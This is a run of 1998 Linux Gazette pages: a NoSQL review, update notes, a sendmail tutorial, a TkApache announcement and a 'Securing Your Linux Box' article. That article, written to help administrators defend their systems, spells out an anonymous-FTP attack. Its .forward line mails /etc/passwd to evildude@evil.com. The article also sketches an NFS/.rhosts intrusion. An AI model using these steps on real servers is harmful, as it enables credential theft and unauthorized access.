<p>The complete article is well worth reading for anyone who has ever wondered
just why Linux software is different than that used with mainstream operating
systems, and why GUI software has only recently began to become common.
<p><i>NoSQL</i> incorporates the ideas presented above. A major
difference between Walter W. Hobbs' <i>RDB</i> database and <i>NoSQL</i> is
that <i>NoSQL</i> uses <i>awk</i> extensively to perform tasks handled by
<i>perl</i> in <i>RDB</i>. <i>Awk</i> is a more specialized tool with a much
smaller memory footprint, and since the data-pipelining which is the essence
of these relational database management systems requires repeated invocation
of their respective interpreters, <i>NoSQL</i> exerts less of a strain
on a system's resources, especially important in a multi-user environment.
<p>After installing the package (no compilation is involved) a new
subdirectory under <kbd>/usr/local/lib</kbd> called <kbd>nosql</kbd> will be
created and populated; it will have these subdirectories:
<dl>
<dt><kbd>awk</kbd>
<dd> contains several <i>awk</i> scripts which are
responsible for most of the table-manipulation jobs
<p><dt><kbd>doc</kbd>
<dd>contains both Postscript and HTML versions of the
readable and complete <i>NoSQL</i> documentation, as well as a
Postscript version of the Schaffer and Wolf article from the Unix Review
<p><dt><kbd>mylib</kbd>
<dd>an empty directory for new scripts and programs
<p><dt><kbd>perl</kbd>
<dd><i>perl</i> scripts which perform other <i>NoSQL</i> functions
<p><dt><kbd>sh</kbd>
<dd>shell scripts which act as wrappers for the <i>awk</i>
and <i>perl</i> scripts.
</dl>
<p>The entire subdirectory occupies just under 600 kb., most of which is
documentation.
<p>After installing the files, the only other step needed before trying out
the database is setting three environment variables. Here are three lines
from my <kbd>.zshenv</kbd> file (<i>bash</i> users should have these lines in
the <kbd>.bash_profile </kbd> file):<br>
<pre><kbd>
export NSQLIB=/usr/local/lib/nosql
export NSQSH=/bin/ash
export NSQAWK=/usr/bin/mawk
</kbd></pre>
<p>Carlo Strozzi recommends using <i>ash</i> rather than one of the larger and
more powerful shells such as <i>bash</i> or <i>zsh</i>; <i>ash</i> uses less
memory. and since the shell is repeatedly invoked while using <i>NoSQL</i> the
upshot will be a noticeable increase in speed and a reduction in memory
requirements.
<p>Since there is no compiled code in the package, <i>NoSQL</i> should run on
any machines which have <i>awk</i> and <i>perl</i> available; in other words
the database isn't Linux-centric. The ASCII format of the data tables is also
very portable, and can be manipulated by text editors and common filesystem
tools. Data can be extracted from tables by means of various "operators"
via input-output redirection (e.g., pipes, STDIN and STDOUT). The only limits
on the amount of data which can be handled are in the machine running
<i>NoSQL</i>; the installed memory and processor speed are the limiting
factors.
<p>As the name implies this is not an SQL database, which should make
<i>NoSQL</i> more accessible to users lacking SQL expertise. I don't know SQL
at all and I found the basic commands of <i>NoSQL</i> easy to learn. All
commands are executed as parameters of the <kbd>nosql</kbd> shell script.
Here's an example <i>NoSQL</i> table:<br>
<blockquote><pre>
Name Freq Height Season
---- ---- ------ ------
laccaria 27 6 Fall
lepiota 5 8 Summer
amanita 42 7 Summer
lentinus 85 5 Spring-Fall
morchella 45 6 Spring
boletus 65 5 Summer
russula 75 4 Summer
</pre></blockquote>
<p>Single tabs must separate the fields from each other, even the spaces
between the groups of dashes on the dashed separator line must be single tabs.
An alternate format for the tabular data is the list; the above table can be
converted to this format with the command<br>
<p><kbd>nosql tabletolist < [filename]</kbd>
<p>The results look like this:<br>
<pre>
Name laccaria
Freq 27
Height 6
Season Fall
Name lepiota
Freq 5
Height 8
Season Summer
Name amanita
Freq 42
Height 7
Season Summer
Name lentinus
Freq 85
Height 5
Season Spring-Fall
Name morchella
Freq 45
Height 6
Season Spring
Name boletus
Freq 65
Height 5
Season Summer
Name russula
Freq 75
Height 4
Season Summer
</pre>
<p>If the above table were named <kbd>pilze.rdb</kbd>, either the command<br>
<p><kbd>nosql istable < pilze.rdb</kbd>
<p>or
<p><kbd>nosql islist < pilze.rdb</kbd>
<p>would ask <kbd>nosql</kbd> to check the table or list format's validity,
depending on which format is being checked. Another command,<br>
<p><kbd>nosql edit < pilze.rdb</kbd><br>
<p>will open the file in the editor defined by the EDITOR environment variable
(often set to <i>vi</i> by default). A file in table format is automatically
converted into the vertical list format for easier editing, then changed back
into a table when exiting the editor. When the file is saved or closed
<i>NoSQL</i> will automatically check the validity of the format and give the
line numbers where any errors occur. This seemingly obsessive concern with
correct format isn't mere pedantry; the various <i>NoSQL</i> operators which
manipulate and extract data need to be able to quickly distinguish headers
from data and data-fields from each other, and single tabs are the criteria.
<p>There are over forty operator functions available, some of which extract or
rearrange fields while others are used to generate reports. Their names are
more-or-less mnemonic, such as <i>inscol</i> and <i>addcol</i>, which are used
to insert a column into a table, respectively on the left- or right-hand side.
Other operators index and search tables. Examples of typical usage (i.e.,
connecting <i>NoSQL</i> commands with pipes) are included in the
documentation.
<p>As with any Open-Source software, it's hard to tell how many people or
organizations are using it. In an e-mail, I asked Carlo Strozzi for examples
of real-world usage of <i>NoSQL</i>; he replied that he has been using it
quite a bit for database-backed CGI scripts for the WWW. He also stated that
several companies in Italy are using it internally.
Carlo Strozzi works for IBM in Italy, and he has developed several web
applications backed by <i>NoSQL</i>; three of the publicly accessible pages
are:<br>
<p>
<a href="http://www.whoswho-sutter.com">Fortune companies and people profiles<a>
<p><a href="http://www.secondamano.it">Classifieds - this is in Italian</a>
<p><a href="http://annunci-auto.repubblica.it">Car classifieds, in Italian</a>
<p>The latest version of <i>NoSQL</i> can be obtained from
this <a href="ftp://ftp.linux.it/pub/database/NoSQL">FTP site.</a>
<hr>
<!-- hhmts start -->
Last modified: Thu 29 Oct 1998
<!-- hhmts end -->
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Larry Ayers <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./ayers1.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./ayers3.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center><h1>
<font color="maroon">Updates and Corrections</font>
</h1></center>
<center>
<h4>By <a href="mailto: layers@marktwain.net">Larry Ayers</a></h4>
</center>
<hr>
<center><h3>Introduction</h3></center>
<p>I've accumulated a few updates to past articles and reviews, presented here
in reverse chronological order. By the way, I appreciate the e-mail I receive
from LG readers; keep it coming!
<hr>
<center><h3>The Keyboard Practicer</h3></center>
<p>Last month, in the second of two articles about typing tutor
programs I included the Tcl source for a program by Satoshi Asami
called Keyboard Practicer. It turns out that the version I had
didn't include the licensing information, which follows:
<pre>
/*-
* Copyright (c) 1991-1998 Satoshi Asami
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS
* IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
</pre>
<p>The updated archive (which doesn't include any changes other than the
inclusion of the above license) is available from this FTP
<a href="ftp://stampede.cs.berkeley.edu/pub/kp/kp-0.97.tar.gz"> site</a>.
<hr>
<center><h3>Typist</h3></center>
<p>A couple of issues ago I wrote about a console keyboard tutor called
Typist, which at that time was in Sunsite's /pub/Linux/Incoming directory.
I've received e-mail inquiries as to its current location, which isn't
obvious. The new location is
<a href="ftp://sunsite.unc.edu/pub/Linux/apps/cai/typist-2.1a.tar.gz">here</a>.
<hr>
<center><h3>TkDesk</h3></center>
<p>After a long hiatus, Christian Bolik has released a new version of his
featureful file-and-desktop manager TkDesk. I reviewed a much earlier release
back in 1996 (LG #8), and in the several releases since then the application
has improved and matured. Another factor which has changed since 1996 is the
typical desktop machine running TkDesk. The application felt a trifle
sluggish on my old, low-memory 486, but on a reasonably recent Pentium-based
system TkDesk runs well. Aside from being a versatile and configurable
file-manager, TkDesk occupies a sort of middle ground between the typical
miscellaneous collection of Linux apps and a full-fledged desktop manager such
as KDE or Gnome. Its integration with Netscape and XEmacs is particularly
useful, and the button-bar is one of the most configurable and useful I've
seen for X-Windows.
<p>TkDesk still won't run with Tcl/Tk 8.0, but now that incrTcl
(the C++ object-oriented extension to Tcl) has been updated to work with the
newer Tcl/Tk releases, the release of a version of TkDesk which uses these
libraries can't be too far off. The new 1.1 release of TkDesk works fine with
Tcl7.6/Tk4.2 for the time being. The TkDesk homepage is
<a href="http://people.mainz.netsurf.de/~bolik/tkdesk/">here</a>.
<hr>
<center><h3>Window Managers</h3></center>
<p>Two of the most promising new window-managers available for X have been
undergoing rapid development lately. Marco Macek's Icewm is getting better
with each release, and the recent betas have been including GNOME-specific
features. This won't affect those users who aren't using GNOME, as the
configure script detects a GNOME installation and disables these features if
CNOME isn't installed. Check out the icewm
<a href="http://berta.fri.uni-lj.si/~markom/icewm">home-page</a>
for the latest news.
<p>Brad Hughes has been working hard to squelch bugs and further refine his
Blackbox window-manager. He has successfully converted Blackbox so that it
uses the GNU autoconf system instead of an Imakefile type of configuration; in
other words it now uses a configure script to generate a custom-tailored
makefile, which in some cases will make Blackbox easier to compile.
<p>The Blackbox home-page is <a href="http://linux.wiw.org/blackbox">here</a>.
<hr>
<!-- hhmts start -->
Last modified: Wed 28 Oct 1998
<!-- hhmts end -->
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Larry Ayers <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./ayers2.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./vertes.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<h1><font color="maroon">Securing Your Linux Box</font></h1>
<H4>By <a href="mailto:pvertes@bigfoot.com">Peter Vertes</a></H4>
</center>
<P> <HR> <P>
With Linux becoming widespread in the work environment, the security of
the individual machines must be considered. Machines running Linux can be
networked easily, creating the potential risk of unauthorized users
gaining access. This is particularly true if your Linux installation is
straight out of the box. I will give a brief introduction to securing your
Linux box and making your network environment a safer place for both your
data and the people who use use it.
<p>
``You are only as strong as the weakest link in your
defense,'' says the Chinese proverb, and this is certainly true in
the field of computer security.
If you forget to patch that newly downloaded version of
<b>lpd</b> all your walls can come crumbling down, even with the securest
system in the world.
Always be cautious when installing any new software. If you are using Linux only
as a desktop machine at home and you connect to the Internet via a modem,
you do not have to worry so much. On the other hand,
if you are running a mission-critical server wired into the Net, I would
strongly advise checking out the security history of any
piece of software that you wish to install (remembering <i>that</i>
famous version of Sendmail).
<p>
Several mailing lists and many web pages offer extensive help on Linux security.
The information is out there, you just need to go and
harvest it. If you don't have the time, patience or know-how, contact
a security consultant to take a look at your system setup and discover any
potential weak spots. Usually security consultant firms have their own
<i>Tiger Teams</i> who for a fee will attempt to make the walls crumble
around your computer(s). Their object is to get into your system under a
certain period of time and some even refund your money if they are
unsuccessful. Tiger Teams are a valuable asset to security-conscious
companies. Since Tiger Teams cost quite a bit, I would
suggest you break into your own machines. This exercise can save you money,
and give you a better understanding of the structure and different abstract
layers of Linux in the process.
<p>
The starting point of our Linux security tour is the password. Many
people keep their entire life on a computer and the only
thing preventing others from seeing it is the eight-character string called
a password. Not something one would call completely reliable.
Contrary to popular belief, an uncrackable password does not exist.
Given time and resources all passwords can be guessed either by social
engineering or by brute force.
<p>
Since password cracking can be a time- and resource-consuming art, make it
hard for any cracker who has grabbed your
password file. Running a password cracker on
a weekly basis on your system is a good idea. This helps to find and
replace passwords that are easily guessed or weak. Also, a password
checking mechanism should be present to reject a weak password when first
choosing a password or changing an old one. Character strings that are plain
dictionary words, or are all in the same case, or do not contain numbers
or special characters should not be accepted as a new password.
<p>
A safe password can be constructed by taking the first letter of your favorite
phrase, quote or sentence and adding special characters. For example, suppose
my favorite phrase is, ``the quick brown fox jumped over the lazy
dog,'' by taking the first letter of every word, I'd end up with
<b>tqbfjotld</b>. Next, I'd add special characters and perhaps
squeeze in the year resulting in a password of <b>9tqbf!jotld8</b>.
This is a much secure than the name of your spouse or child.
<p>
Word lists containing hundreds (if not thousands) of words that could be fed
to a password cracker are available
on the Internet. Some contain only names, so cracking the
password ``maggie'' is quite trivial while the likelihood
of <b>9tqbf!jotld8</b> appearing in one of those lists is quite slim.
However, even though if our proposed password is not likely to appear in a
word list, more advanced cracker programs come with a feature called
<i>Incremental Cracking Mode</i> which means that every possible
permutation is tried. The user gives it the minimum and maximum number of letters in a password, upper case or
lower case, inclusion of special characters and numbers, and the passwords
cracker does the rest. Granted, it could take a lot of time and resources,
but it is possible.
<p>
Next, be aware of the services running on your system.
Most distributions of Linux have HTTP, FTP, SMB, Sendmail and various other
services running as default. Not everyone needs a web server running so
why not get rid of it--it takes up resources and can be a potential
security risk. To terminate web services, type:
<pre>
kill -9
</pre>
To find out the process ID(s) of a certain daemon or service, type:
<pre>
ps aux | grep
</pre>
Also, comment these daemons out of your start-up scripts so that they
will not restart after a reboot.
Unused services can let others gain information about your system and they
could also pose as a security risk.
<p>
Another thing to avoid is the use of .rhosts files, as they are a favorite
of crackers. The .rhosts files contain names of systems on which you have an
account. When you use TELNET to log in to a system, the system checks its
.rhosts file and if your machine name is found, it gives you access without
the need for a password.
<p>
For more information about the .rhosts file, look in your favorite Linux or
System Administration manual. One of
the most famous exploits involving the .rhosts file is the misconfiguration
of the <i>Network File System</i> (NFS). First the hacker checks for any
exported file systems on your machines (to check, type:
<tt>showmount -e</tt>), and if any are world
writable. Next he remotely mounts your file system and places an .rhosts
file into a user's directory. Last, the hacker uses TELNET
to log into your machine as the that user, and your
system is now compromised. The moral of this story: leave the
configuration of the <b>nfsd</b> to someone who is more experienced than you
or read the documentation carefully.
<p>
Another similar hack involves the misconfiguration of a
popular service commonly found on the Internet; anonymous FTP. The first, and
obvious method, of gaining unauthorized access via anonymous FTP is by letting
the public have access to your password file. Granted all passwords
are stored in encrypted form, but remember we've already shown
crackers can get by this. Another way to gain access to the local password
file is by exploiting the writeability of the /ftp directory. Look at these simple steps:
<p>
<ol>
<li> Create a fake .forward file that has the following command in
it:
</ol>
<pre>
|/bin/mail evildude@evil.com < /etc/passwd
</pre>
<ol>
<li> Connect to the victim machine via FTP and log in as user
FTP.
<li> Enter any password you wish.
<li> Upload the .forward file you have created in Step 1.
<li> Log out and send mail to ftp@victim.machine.com.
<li> Sit back as victim.machine.com e-mails you a copy of its
local password file.
</ol>
Clearly, an easy way to get a password file. The heart of
this hack lies in a simple mistake made by the system administrator; so,
<i>never</i> make the /ftp directory writable by user
<i>anonymous</i>. Setting up an anonymous FTP server
is an art of its own, but it will help to remember these simple rules:
<p>
<ul>
<li> <i>Only</i> the /incoming directory should be made
writable and <i>only</i> by root and user FTP.
<li> Anonymous FTP users should have <i>only</i> executable (and
read) access to the /pub and the /incoming directory.
<li> FTP users should <i>NOT</i> be able to write to
/ftp. If you enable write access, the above mentioned hack
can (and presumably will) be made. For more information
on how to correctly set up an anonymous FTP service, check out the man
page for <b>ftpaccess</b> or the CERT advisory titled 93:10 (found at
http://www.cert.org/).
</ul>
One last thing to remember is that the system logs are your friends.
The logs are the only way to find out what is/has/will be happening on your
system, so keep reading them. Also, make sure that they are not
being tampered with by intruders or by fellow system administrators.
<p>
As Linux finds its way into more and more corporate environments, it is a
crucial step to keep users out of each other's files and patch all
the holes that might be utilized by hackers. With the notion of
interconnectivity, industrial espionage will
also be on the rise. With simple preventative measures and user
education, the workplace can be a safe place for your secrets.
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Peter Vertes <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./ayers3.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./lisse.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<h1><font color="maroon">Sendmail Made Easy!</font></h1>
<H4>By <a href="mailto:el@lisse.na">Eberhard W. Lisse</a></H4>
</center>
<P> <HR> <P>
All Linux distributions come with a Mail Transfer Agent (the program
that does the routing and sending of the messages. The daddy of them
all is <b>sendmail</b> (http://www.sendmail.org/).
<p>
<b>sendmail</b> is usually preconfigured, but if you need to set up a special
situation (for example UUCP), it can become quite a nuisance. The
reason for this is that at the initial writing of sendmail the
configuration language was designed to parse quickly at the expense of
being cryptic. I looked at a sendmail.cf in 1987 and didn't look again for 10
years.
<p>
<b>smail</b> is easier to understand and has always had the nice
feature of batching messages, running the batches through gzip and
sending the jobs off via UUCP. Saved me quite a lot of money in phone
bills over the years.
<p>
However, a year and a half ago I found a package called BSMTP (Batched
Simple Mail Transport Protocol) for taking care of the batch-gzipping stuff.
BSMTP is a package which is used with UUCP. sendmail uses the SMTP Protocol
if sending
or reeiving mail via TCP/IP, but you can also feed mail into sendmail
directly using this protocol. Now this package will take outgoing
mail, put many messages in batches with SMTP commands inserted between
messages, gzip the batches and hand them to UUCP for transport. On the
other end the process is reversed, uucp receives, hands to an
uncompressor which feeds to sendmail. This results in a compression
of better then half. Using advanced features of the uucp on Linux you
can achieve very high throughputs. BSMTP works with both smail and sendmail
and has a macro package which makes sendmail configuration much
easier. I like to tinker so I tried it. It took about a weekend
to get sendmail working with BSMTP/UUCP.
Once I had figured out the basics, it became much easier, I only needed about
an hour to set it up for my leased line.
<p>
Since you have Linux, you have all the tools required. If not, install
them from your distribution. I'll assume you have a working DNS with MX entries
for our system and are connected by a leased line. Install the latest
sendmail and sendmail-cf RPMs in the /usr/lib/sendmail-cf directory.
<p>
Consider the following few lines in a file called linux.mc located in
/usr/lib/sendmail-cf/cf:
<p>
<pre>
divert(-1)
OSTYPE(linux)
FEATURE(use_cw_file)
define(`confCW_FILE', `-o /etc/sendmail/sendmail.cw')
FEATURE(mailertable,`hash -o /etc/sendmail/mailertable.db')
FEATURE(local_procmail)
define(`STATUS_FILE',`/etc/sendmail/sendmail.st')
MAILER(procmail)
MAILER(smtp)
</pre>
It's rather cryptic--or is it?
<p>
Run this file through the <b>m4</b> command by typing:
<p>
<pre>
m4 ../m4/cf.m4 linux.mc > sendmail.cf
</pre>
It produces a sendmail.cf of approximately 1200 lines (still
unreadeable to me) which has been in production use on my system.
<p>
Now let's have a look at what those lines mean.
<p>
<pre>
# divert(-1)
</pre>
This line is a directive to the macro processor which I have never
bothered to understand. It has something to do with suppressing
newline characters.
<p>
<pre>
OSTYPE(linux)
</pre>
Now, that's fairly easy, right? Well, what it doesn't tell you is that
the local delivery program <b>mail.local</b> from the sendmail distribution
needs to be in /bin or your mail will disappear without a trace.
<p>
<pre>
FEATURE(use_cw_file)
define(`confCW_FILE', `-o /etc/sendmail/sendmail.cw')
</pre>
What on earth is a CW file?
<p>
I receive a lot of mail to the address of
el@lisse.na; however, the host name is linux.lisse.na. No problem, we
have an appropriate MX entry pointing lisse.na to linux.lisse.na,
right? Wrong. You must tell sendmail the names under which it can receive
mail on the local host. For example:
<p>
<pre>
lisse
lisse.na
linux
linux.lisse.na
</pre>
When doing this is overlooked, sendmail sends an error message which is
somewhat misleading. The bouncing message has the following Subject: line:
<PRE>
Subject: Returned mail: Local configuration error
</PRE>
And the MX list line is what is confusing:
<PRE>
----- Transcript of session follows -----
554 MX list for nws.com.na. points back to linux.lisse.na
554 el@nws.com.na... Local configuration error
</PRE>
<p>
<pre>
FEATURE(mailertable,`hash -o /etc/sendmail/mailertable.db')
</pre>
This line is only required if you have special delivery situations. For
example, to use the BSMTP package to deliver mail for Triple A,
Inc. via the UUCP neighbour <tt>bbbbb</tt>, set up an MX entry in the
DNS and write something like this in the mailertable file:
<p>
<pre>
.aaa.com.na bsmtp:bbbbb
aaa.com.na bsmtp:bbbbb
</pre>
A TAB character is in between the pairs, and you must run a program
from the sendmail package called <b>makemap</b> on the file mailertable to
produce the binary database file mailertable.db. For example:
<p>
<pre>
makemap hash < mailertable mailertable
</pre>
There are other database systems (for example, <b>dbm</b>) but
let's not complicate matters.
<p>
<pre>
FEATURE(local_procmail)
</pre>
This line redefines the local mailer to be <b>procmail</b>. You most
definitely want that.
<p>
<pre>
define(`STATUS_FILE',`/etc/sendmail/sendmail.st')
</pre>
This line defines the status file. Make sure you have created this directory
as root.
<p>
<pre>
MAILER(procmail)
</pre>
<b>procmail</b> was written by Stefan van der Berg at my alma mater and
deserves its own article. In short it is <i>the</i> local delivery program.
Its strength lies in its message filtering capabilities. Very nice for
those mailing lists.
<p>
<pre>
MAILER(smtp)
</pre>
Please note that I have left out the <tt>bsmtp</tt> entry that would be
required, if you had used a BSMTP entry in the mailer table. If
you had a UUCP neighbour, you'd need a mailer entry too which must come
after <tt>smtp</tt>.
<p>
Now, test this configruation file, copy it to the /etc directory after making a
backup copy of the old one and restart sendmail. As root, I use
the command:
<p>
<pre>
killall -HUP sendmail
</pre>
I did not show you how to set up sendmail for UUCP, BSMTP, anti-SPAM
or virtual domains. However, now that you have mastered the basics, it will be
fairly easy.
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Eberhard W. Lisse <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./vertes.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./holve.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">TkApache</font></H1>
<H4>By <a href="mailto:mike@eunuchs.org">Michael Holve</a></H4>
</center>
<P> <HR> <P>
I've been using the Apache Web server for several years now, both to serve my own Website as
well as commercial sites. In all this time, this small, fast server has never failed me. While
I'm perfectly happy with command line tools being a UNIX freak and all, let's face it - this is
a Windows mentality world. People like GUI interaction with their programs. This has been a long
standing argument over the Apache Web server - the lack of a GUI.
<P>
There are currently several projects on the Internet to provide such a front-end for Apache.
Why write another, you ask? Out of the projects that are currently available, most lack an easy
to use layout, support all of Apache's features in an open, modular way or both. It is my vision
to create a tool that can run on many platforms with as little fuss on the part of the user as
possible and have a great growth potential.
<P>
Version 1.0 launched the afternoon of October 16th, 1998. Within the first 24 hours, it was
downloaded 1,036 times and the TkApache Web page had 1,400 visitors. Not staggering numbers, but
since then it's been downloaded somewhere around 150 times per day. This version was originally
going to have some additional features but the other developer and I, Lance Dillon, decided to
concetrate on finishing the core features and doing some quick bug testing to get it released in
time for ApacheCon in San Francisco that week. That and the Emails to the nature of "where can I
get it?!" streaming in at a rate of 30 or so a day...
<P>
Other neat features include callouts to Netscape to view the HTML documentation (will sport
context sensitive, internal and browser-independant help in future versions), a setup/install
window and a tail window. The tail window is like the UNIX "tail -f" command, which allows you
to watch your log files in real-time. TkApache allows you to monitor your access and error logs.
<P>
So where is TkApache headed? Our next goal is version 2.0 with maintenance releases along the
way to fix bugs as we discover them. There are some lofty goals for this next version, some of
which can already be seen in the code for the initial version. This is the support of modules.
We have envisioned an interface that can include user submitted or internally developed modules to
support the vast number of Apache modules and add-ons like SSL, PHP and mod_perl, among others.
Also planned is performance graphing of CPU/RAM loads, number of processes, Website visitors, etc.
and virtual host support. The user interface will evolve along with it to handle the load of
information that must be dealt with, formerly taking up three rather good sized configuration
files. I find GUI design to be a lot of fun and a pet peeve of mine. It's got to look good and
be usable or else it's just in the way.
<P>
What makes it tick, and how does all this relate to Perl? TkApache is written entirely in
a combination of Perl and the Tk toolkit, known as PerlTk. Originally I started with Tcl/Tk and
Perl, but it was a total hack. While I loved working with the Tk toolkit, I wasn't to familiar
with, or interested in Tcl. Perl was more my speed, and when I became aware of the PerlTk module,
it was a perfect match for rapid prototyping. The GUI design is really fun to work on, although
it can be frustrating sometimes, but it's really quite easy. The whole solution allows all of
Perl's wonderful text handling to be used in dealing with all this text in the configuration files.
Weighing in at over 8,000 lines of code - TkApache is very portable (there are some current items
that make it less than optimal which will be addressed in a maintenance release) and should run on
Macintosh or Windows, as well as any UNIX platforms without modification. We're trying to keep the
module count down, only to make it easier for potential users to get up and running, although we do
currently rely on Data::Dumper and some File::Copy routines (all part of 5.005+).
<P>
Do stop by the TkApache Web site and see what you think. If you're familiar with Perl and/or
Tk and would like to contribute to the project, you're very welcome to. Or, if you'd like, we're
also happy to receive feedback on it. There's screenshots and documentation available online.
<P>
Michael Holve
mike@eunuchs.org
<P>
TkApache Web Site: <A
HREF="http://eunuchs.org/linux/TkApache/index.html">
http://eunuchs.org/linux/TkApache/index.html</A>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Michael Holve <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./lisse.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./lg_backpage34.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<center>
<H1><IMG SRC="../gx/backpage.gif" alt="Linux Gazette Back Page"></H1>
<H5>Copyright © 1998 Specialized Systems Consultants, Inc.<br>
For information regarding copying and distribution of this material see the
<A HREF="../ssc.copying.html">Copying License</A>.</H5>
</center>
<P> <hr> <P>
<H3>Contents:</H3>
<ul>
<li><a HREF="./lg_backpage34.html#authors">About This Month's Authors</a>
<li><a HREF="./lg_backpage34.html#notlinux">Not Linux</a>
</ul>
<a name="authors"></a>
<P> <HR> <P>
<!--======================================================================-->
<center><H3><font color="maroon">About This Month's Authors</font></H3></center>
<P> <HR> <P>
<!--======================================================================-->
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Steve Adler</H4>
Steve was born in Mexico City and received his education in the U. S.
He has a Ph.D. in Physics from the State University of NY. His
first job was working with a medical imaging group at the University of
Texas medical school, writing software in the development effort to
build a positron emission tomography camera.
Since 1995 he has been a
staff scientist for the physics department at Brookhaven National
Laboratory. He is currently moving out of high energy
physics into nuclear physics by joining the PHENIX experiment at the
Relativistic Heavy Ion Collider, where he'll be working on the data
acquisition system.
Besides physics and computing, he engages in roller blading, cycling,
camping and travel.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Paul Anderson</H4>
Paul is a computer hobbyist primarily, working on the FreeWorld
BBS software(http://www.freeworldbbs.org) for Linux in his off-time and
setting up networks with some system administration for a web-hosting
service.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Larry Ayers</H4>
Larry lives on a small farm
in northern Missouri, where he is currently engaged in building a
timber-frame house for his family. He operates a portable band-saw mill,
does general woodworking, plays the fiddle and searches for rare
prairie plants, as well as growing shiitake mushrooms. He is also
struggling with configuring a Usenet news server for his local ISP.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Bill Bennet</H4>
Bill,
the ComputerHelperGuy, lives in Selkirk, Manitoba, Canada; the "Catfish
Capitol of North America" if not the world. He is on the Internet at
www.chguy.net. He tells us "I have been a PC user since 1983 when I got my start as a
Radio Shack manager. After five years in the trenches, I went into
